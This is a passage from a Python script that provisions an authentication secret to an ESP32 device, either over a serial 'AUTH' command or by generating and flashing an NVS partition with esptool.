s.write(f"AUTH {secret}\n".encode())
time.sleep(0.5)
out = s.read(s.in_waiting or 256).decode("utf-8", errors="replace")
s.close()
ok = False
for line in out.splitlines():
if "OK AUTH on" in line:
ok = True
break
if ok:
print(f"Secret set: {secret}")
else:
print(f"ERR: unexpected response: {out.strip()}", file=sys.stderr)
sys.exit(1)
sys.exit(0)
# NVS flash method
if not os.path.isfile(NVS_GEN):
print(f"ERR: NVS generator not found: {NVS_GEN}", file=sys.stderr)
print(" Ensure ESP-IDF is installed at ~/esp/esp-idf/", file=sys.stderr)
sys.exit(1)
with tempfile.TemporaryDirectory() as tmpdir:
csv_path = os.path.join(tmpdir, "nvs.csv")
bin_path = os.path.join(tmpdir, "nvs.bin")
# Generate NVS partition binary
create_nvs_csv(secret, csv_path)
result = subprocess.run(
[sys.executable, NVS_GEN, "generate", csv_path, bin_path, NVS_SIZE],
capture_output=True, text=True,
)
if result.returncode != 0:
print(f"ERR: NVS generation failed:\n{result.stderr}", file=sys.stderr)
sys.exit(1)
# Flash NVS partition
print(f"Flashing auth secret to NVS at {NVS_OFFSET}...")
result = subprocess.run(
[
sys.executable, "-m", "esptool",
"--port", args.port, "--baud", args.baud,
"write_flash", NVS_OFFSET, bin_path,
],
capture_output=True, text=True,
)
if result.returncode != 0:
print(f"ERR: flash failed:\n{result.stderr}", file=sys.stderr)
sys.exit(1)
print(f"Secret provisioned: {secret}")
print(f" Add to environment: export ESP_CMD_SECRET=\"{secret}\"")
if __name__ == "__main__":
main()